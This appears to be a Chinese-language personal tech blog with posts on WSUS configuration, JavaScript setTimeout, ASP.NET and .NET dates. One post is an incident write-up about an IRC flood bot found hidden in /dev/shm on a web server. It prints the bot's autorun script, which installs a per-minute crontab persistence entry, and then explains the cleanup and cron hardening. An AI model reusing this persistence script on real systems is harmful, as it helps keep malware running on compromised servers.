2015年6月30日 星期二

WSUS 啟動後續安裝工作失敗

安裝完WSUS角色後,點選啟動後續安裝工作,出現失敗...

錯誤訊息如下
C:\Users\Administrator\AppData\Local\Temp\tmpxxxx.tmp
2015-06-29 16:57:37  Postinstall started
2015-06-29 16:57:37  Detected role services: Api, UI, WidDatabase, Services
2015-06-29 16:57:37  Start: LoadSettingsFromXml
2015-06-29 16:57:38  Start: GetConfigValue with filename=UpdateServices-Services.xml item=ContentLocal
2015-06-29 16:57:38  Value is true
2015-06-29 16:57:38  End: GetConfigValue
2015-06-29 16:57:38  Start: GetConfigValue with filename=UpdateServices-Services.xml item=ContentDirectory
2015-06-29 16:57:38  Config file did not contain a value "ContentDirectory"
2015-06-29 16:57:38  Microsoft.UpdateServices.Administration.CommandException: 系統上找不到必要的設定值。這通常是因為透過 PowerShell 安裝 WSUS 但未指定設定檔。如需使用 PowerShell 執行 WSUS 安裝的建議步驟的詳細資訊,請參閱 TechNet Library (http://go.microsoft.com/fwlink/?LinkId=235499) 的<使用 PowerShell 管理 WSUS>文章。
   於 Microsoft.UpdateServices.Administration.PostInstall.GetConfigValue(String filename, String item)
   於 Microsoft.UpdateServices.Administration.PostInstall.LoadSettingsFromXml()
   於 Microsoft.UpdateServices.Administration.PostInstall.Initalize(Parameters parameters)
   於 Microsoft.UpdateServices.Administration.PostInstall.Execute(String[] arguments)
嚴重錯誤: 系統上找不到必要的設定值。這通常是因為透過 PowerShell 安裝 WSUS 但未指定設定檔。如需使用 PowerShell 執行 WSUS 安裝的建議步驟的詳細資訊,請參閱 TechNet Library (http://go.microsoft.com/fwlink/?LinkId=235499) 的<使用 PowerShell 管理 WSUS>文章。

它說找不到 ContentDirectory 的設定值,雖然我確定在安裝時有輸入,不過算了...

設定檔 UpdateServices-Services.xml 在 Windows\System32\ServerManager\ComponentConfiguration\
內容如下
<?xml version="1.0" encoding="utf-16"?>
    <INSTANCE CLASSNAME="ServerComponent_UpdateServices_Services">
        <PROPERTY NAME="ContentDirectory" TYPE="string">
        </PROPERTY>
        <PROPERTY NAME="ContentLocal" TYPE="boolean">
            <VALUE>true</VALUE>
        </PROPERTY>
    </INSTANCE>
解決方法如下,加入 ContentDirectory 的值
<?xml version="1.0" encoding="utf-16"?>
    <INSTANCE CLASSNAME="ServerComponent_UpdateServices_Services">
        <PROPERTY NAME="ContentDirectory" TYPE="string">
            <VALUE>input file location here</VALUE>
        </PROPERTY>
        <PROPERTY NAME="ContentLocal" TYPE="boolean">
            <VALUE>true</VALUE>
        </PROPERTY>
    </INSTANCE>
存檔後點選"啟動後續安裝工作",順利通過。

--
參考資料
Server 2012 WSUS Post-deployment configuration fails - comprehending the log file
Windows Server 2012 筆記(一) WSUS 4.0 安裝設定
建立自家的 Windows Update Server - WSUS

2012年6月14日 星期四

setTimeout 傳物件參數

先看一下一般 setTimeout 怎麼用


function hello(){alert('Hello!');}
setTimeout("hello()", 1000);

在指定 function 時是以字串方式編寫
若要傳靜態參數則用字串相加方式

function hello(text){alert(text);}
var hellostring = "Hello! Welcome to Earth!";
setTimeout("hello(" + hellostring + ")", 1500);

但是以這種方式在碰到要傳物件時就會出錯

function hello(a, e){
     $("#pop") .html("Welcom to " + a.children('span').first().text() + "").css({
           'top':e.pageY -10,
           'left':e.pageX + 20
     }).fadeIn();
}
$(function(){
     $(".pop").mouseenter(function(e){
           setTimeout("hello(" + this + "," + e  + ")", 1000);  //丟過去不是要的物件
     });
}) ;

    <@div id="pop" style="display:none;position:absolute">

    <@a href="http://google.com" class="pop">

        <@span>google

    <@/a>

    <@a href="http://yahoo.com" class="pop">

        <@span>yahoo

   

 要改寫成

setTimeout((function (a,e){ return function (){ hello(a,e); } })(this, e), 1000);

這樣才能以物件方式傳送

--
參考網頁
http://blog.longwin.com.tw/2011/12/javascript-settimeout-args-2011/

2012年6月8日 星期五

moodle htmlarea in chrmoe & safari

解決 moodle 1.9.2 不能在 chrome 及 safari 中使用 html 編輯器的問題。

因為原本的 html 編輯器不認識新的瀏覽器

故要加上幾行讓它認得 chrome or safari 並允許它們使用

官方解決方法

可以下載第二個 patch 及可。


2012年5月9日 星期三

無效的 Viewstate

在寫 .net 時想要用 javascript 送出 post,但卻發視會有錯誤訊息「無效的 Viewstate」。
官網上的說法
Viewstate 只能發佈回相同頁面。 嘗試的 aspx 表單張貼至另一個頁面將會失敗並 Viewstate 無效的例外狀況。 這項行為是經過設計。
 意思就是不可以這樣子搞啦  XD

2011年11月30日 星期三

IE中使用迴圈呼叫jquery

//$(function(){
var stemp = "";
for (j=1;j < i;j++){
stemp = ".checkother"+j.toString();
$(stemp).click(function(){
var x = $(this).parent().nextAll('textarea');
if ($(this).attr('checked') != 'checked')x.css('display', 'none');
else x.css('display', 'inline');
x.css({
width:'75px',
height:'100px'
});
});
}
//});

i是全域變數,計算新增了幾組元素
在動態新增元素 checkbox, textarea 後
為了使新增的 textarea 可以開合
所執行的一段 jQuery
在 IE 8 中只有 for 迴圈最後一次指定到的元素會有動作
爛透了!!!!
只好改寫元素,在新增時加上 onclick 事件
將上述 jQuery 另外改寫為副程式呼叫

2011年11月18日 星期五

3303 port 異常

最近檢查netstat時發現我的機器要去連別人的 3303 port
對它查了一下
[root@test hack]# lsof -i:3303
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
crond 30760 apache 0u IPv4 146133427 TCP xxx-xxx-xxx-xxx.xxx:54619->206.246.0.109:opsession-clnt (SYN_SENT)
[root@test hack]# lsof -p 30760
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
crond 30760 apache cwd DIR 0,20 40 143575172 /dev/shm/.,
crond 30760 apache rtd DIR 253,0 4096 2 /
crond 30760 apache txt REG 0,20 152108 143575177 /dev/shm/.,/crond
crond 30760 apache mem REG 253,0 21948 1993206 /lib/libnss_dns-2.5.so
crond 30760 apache mem REG 253,0 129900 1993008 /lib/ld-2.5.so
crond 30760 apache mem REG 253,0 1693812 1993009 /lib/libc-2.5.so
crond 30760 apache mem REG 253,0 50848 1993948 /lib/libnss_files-2.5.so
crond 30760 apache mem REG 253,0 80636 1993039 /lib/libresolv-2.5.so
crond 30760 apache 0u IPv4 146133427 TCP xxx-xxx-xxx-xxx.xxx.xxx:54619->206.246.0.109:opsession-clnt (SYN_SENT)
crond 30760 apache 3u IPv4 146131264 UDP *:35863


嗯?用apache去呼叫crond?
查看cron log
[root@test cron]# vi /var/log/cron
Nov 18 11:01:01 web crond[31867]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:02:01 web crond[31870]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:03:01 web crond[31875]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:04:01 web crond[31883]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:05:01 web crond[31896]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:06:01 web crond[31906]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:07:01 web crond[31918]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:08:01 web crond[31927]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)
Nov 18 11:09:01 web crond[31935]: (apache) CMD (/dev/shm/.,/update >/dev/null 2>&1)

趕羚羊!這三小!
每一分鐘都執行一次
看一下他在tmpfs裡執行什麼鬼
[root@test shm]# ls -lha
總計 0
drwxrwxrwt 3 root root 60 11月 12 03:32 .
drwxr-xr-x 2 apache apache 60 11月 18 08:25 .,
drwxr-xr-x 12 root root 3.8K 11月 16 09:11 ..

嗯? 沒有檔案嗎?
......
怎麼有二個上一層?
按! 靠北....邊走咧!
它把目錄命名成'.,'
仔細看目錄擁用者是apache
進去裡面瞧瞧
[root@test .,]# ls -lh
總計 392K
-rwxr-xr-x 1 apache apache 319 2月 22 2009 autorun
-rwxr-xr-x 1 apache apache 149K 6月 1 2001 crond
-rw-r--r-- 1 apache apache 45 11月 12 03:32 cron.d
-rwxr-xr-x 1 apache apache 8.5K 1月 24 2006 f
-rwxr-xr-x 1 apache apache 15K 11月 3 2005 f4
-rw-r--r-- 1 apache apache 12 11月 12 03:32 fl.dir
-rwxr-xr-x 1 apache apache 84 9月 22 13:32 fwd
-rwxr-xr-x 1 apache apache 11K 5月 30 2005 j
-rwxr-xr-x 1 apache apache 14K 5月 30 2005 j2
-rwxr-xr-x 1 apache apache 23K 7月 30 2004 mech.help
-rw-r--r-- 1 apache apache 1.1K 11月 18 08:00 mech.levels
-rw------- 1 apache apache 6 11月 18 08:22 mech.pid
-rw-r--r-- 1 apache apache 249 11月 18 08:00 mech.session
-rwxr-xr-x 1 apache apache 443 11月 2 17:16 mech.set
-rwxr-xr-x 1 apache apache 76 12月 8 2010 run
-rwxr-xr-x 1 apache apache 15K 2月 21 2005 s
-rwxr-xr-x 1 apache apache 17K 9月 19 2002 sl
-rwxr-xr-x 1 apache apache 16 2月 22 2009 start
-rwxr-xr-x 1 apache apache 15K 9月 3 2004 std
-rwxr-xr-x 1 apache apache 8.6K 1月 24 2006 stream
-rwxr-xr-x 1 apache apache 7.0K 1月 24 2006 tty
-rwxr--r-- 1 apache apache 169 11月 12 03:32 update
-rwxr-xr-x 1 apache apache 14K 11月 20 2002 v
-rwxr-xr-x 1 apache apache 15K 7月 22 2005 v2
-rwxr-xr-x 1 apache apache 915 3月 2 2005 x

很好...就是你們
因為 /dev/shm 權限預設是 777
先把你們挪去其他地方
接著把執行的程式砍了
[root@test shm]kill -9 30760

來研究一下
一開始應該是先執行這個
[root@test hack]# vi start
./autorun
./run
唔...再看這兩隻
[root@test hack]# vi autorun
#!/bin/sh
pwd > fl.dir
dir=$(cat fl.dir)
echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep update
echo "#!/bin/sh
if test -r $dir/mech.pid; then
pid=\$(cat $dir/mech.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > update
chmod u+x update

[root@test hack]# vi run
#bin/bash
export PATH=:$PATH
crond
echo "Enjoy FloodBot based on OverKill"

總而言之它就是塞了一個 cron 給 crontab 執行
回頭再看一下 cron 的 log 檔
赫!! crond 還在執行它塞的那一句
查看一下 crontab -l
沒有看到啊......去那裡了呢?
啊!......它是以 apache 的身分建立的
要去 /var/spool/cron 底下找
[root@test cron]# ls -lh /var/spool/cron
總計 8.0K
-rw------- 1 apache root 45 11月 12 03:32 apache
-rw------- 1 root root 478 11月 17 09:27 root

把 apache 殺掉後,重啟 crond
OK! 沒有再執行了

截止目前為止,都是在把它移除跟清除的動作
再來要怎麼防止再次發生咧?
先找一下它是從裡來的
GOOGLE 找到了一篇說可能是從 phpMyAdmin 來的
因為這種大部分是預設名字的資料夾比較容易被猜到
進而從漏洞丟程式進來
所以先把 phpMyAdmin 拿掉了

再來,它是利用 crond 來重覆執行程式
記得鳥哥說可以只讓某些帳號使用 crond
查了一下,可以把 apache 加入 /etc/cron.deny
也可以只把允許使用的帳號加入 /etc/cron.allow
兩個檔案留一個就好
若兩個都在則 cron.allow 優先權較高
不然再更絕一點把兩個檔案都刪掉,只有 root 可以執行
上面說的都在 man crontab 裡
DESCRIPTION
Crontab is the program used to install, deinstall or list the tables used to drive the cron(8) daemon in ISC Cron. Each user can have their own crontab, and though these are files in /var/spool/ , they are not intended to be edited directly. For SELinux in mls mode can be even more crontabs - for each range. For more see selinux(8).

If the cron.allow file exists, then you must be listed therein in order to be allowed to use this command. If the cron.allow file does not exist but the cron.deny file does exist, then you must not be listed in the cron.deny file in order to use this command. If neither of these files exists, only the super user will be allowed to use this command.


架站當時對外 3303 port 就已經被我 DROP 掉了
所以它要跟其它機器溝通的封包都被我丟掉了

其實它把對外連結的程式也命名成 crond
讓我們在查看 ps 時會以為是系統的 crond 在執行
上述部分藍色字的部分

找資料時都沒有中文的網站
所以稍為寫的多一點
把很多當初查詢的關鍵字都寫到文章裡了

--
參考網站
http://forums.gentoo.org/viewtopic-t-802836-start-0.html
http://linux.vbird.org/linux_basic/0430cron.php#cron_deny

2011年10月13日 星期四

.NET DateTime

很開心的終於把程式寫好,發行到 server 上
請使用者上去 server 測試
使用者說他看到錯誤訊息...
這沒可能啊,我在本機明明就 run 的好好的
怎麼上到 server 就跟我說不行
打開
customErrors mode="Off"
從 server 執行出現錯誤
將字元字串轉換成 smalldatetime 資料類型時,轉換失敗。
= =""怎麼會咧
本機執行也沒出現這個錯誤啊
把本機執行的 sql 跟 server 的 sql 吐出來一看
真是暈倒
在塞入日期的部份分別是
'2011/10/13 11:32:48'
'2011/10/13 上午 11:32:48'
....................................................
我去你的上午(╯‵□′)╯︵┴─┴
最好是上午兩個字 sql server 會認得
因為我自己的本機是使用24小時制,所以沒這個問題
但 server 上卻是12小時制(又不是小學生...)
畢竟 server 是大家一起用的,只好改一下 DateTime 的部分
原本我只用 DateTime.Now 來填入時間的部分
改用
DateTime.Now.ToString("yyyy/MM/dd HH:mm:ss");
萬事OK!
--
參考網站
http://forums.asp.net/t/1328021.aspx/1